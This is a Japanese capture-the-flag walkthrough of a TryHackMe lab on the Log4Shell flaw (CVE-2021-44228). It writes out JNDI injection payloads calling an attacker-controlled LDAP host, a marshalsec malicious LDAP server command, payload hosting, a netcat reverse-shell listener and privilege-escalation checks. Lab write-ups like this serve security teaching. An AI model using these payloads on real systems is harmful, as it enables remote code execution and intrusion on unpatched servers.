🔥 Solar Exploiting Log4j - TryHackMe ウォークスルー

📌 ルーム: Solar Exploiting Log4j

プラットフォーム: TryHackMe 難易度: 中級 トピック: Log4Shell（Log4jの脆弱性）

🧠 目的

Log4jの脆弱性（CVE-2021-44228）を悪用してリモートコード実行を獲得し、フラグを取得します。

🛠️ 使用ツール

• Nmap
• Burp Suite
• cURL
• Netcat
• Python HTTP Server

🌐 ステップ 1: 偵察

🔍 ターゲットのスキャン

nmap -sC -sV <TARGET_IP>

📌 調査結果

• 開放ポート: 80（HTTP）、その他はルームによって異なる
• Javaベースのバックエンドで動作するWebアプリケーション

🌐 ステップ 2: Web列挙

• ブラウザでWebアプリにアクセスする
• 入力項目（ログイン/検索/ヘッダーフィールド）を操作する
• Burp Suiteでリクエストをキャプチャする

💥 ステップ 3: Log4jの脆弱性の特定

Log4jの脆弱性により、JNDIインジェクションが可能になります:

${jndi:ldap://<ATTACKER_IP>:1389/a}

入力がログに記録される場合 → 脆弱性が存在します。

⚙️ ステップ 4: リスナーのセットアップ

Netcatの起動

nc -lvnp 4444

悪意のあるLDAPサーバーの起動（例）

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

LDAPサーバーを実行:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 ステップ 5: ペイロードのホスト

python3 -m http.server 8000

悪意のあるJavaクラス（Exploit.class）を作成します

🚀 ステップ 6: エクスプロイトのトリガー

脆弱なフィールドにペイロードを注入します:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 次のようなヘッダーを使用します:

• User-Agent
• X-Api-Version

🖥️ ステップ 7: リバースシェルの獲得

トリガー後:

• ターゲットがNetcatリスナーに接続し返す
• シェルアクセスが得られる

🔐 ステップ 8: 権限昇格（必要な場合）

確認:

sudo -l

探すもの:

• 設定ミスのあるSUIDバイナリ
• 書き込み可能なファイル
• Cronジョブ

🚩 ステップ 9: フラグの取得

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 学んだ主要な概念

• Log4Shell (CVE-2021-44228)
• JNDIインジェクション
• リモートコード実行（RCE）
• リバースシェル
• Webエクスプロイテーション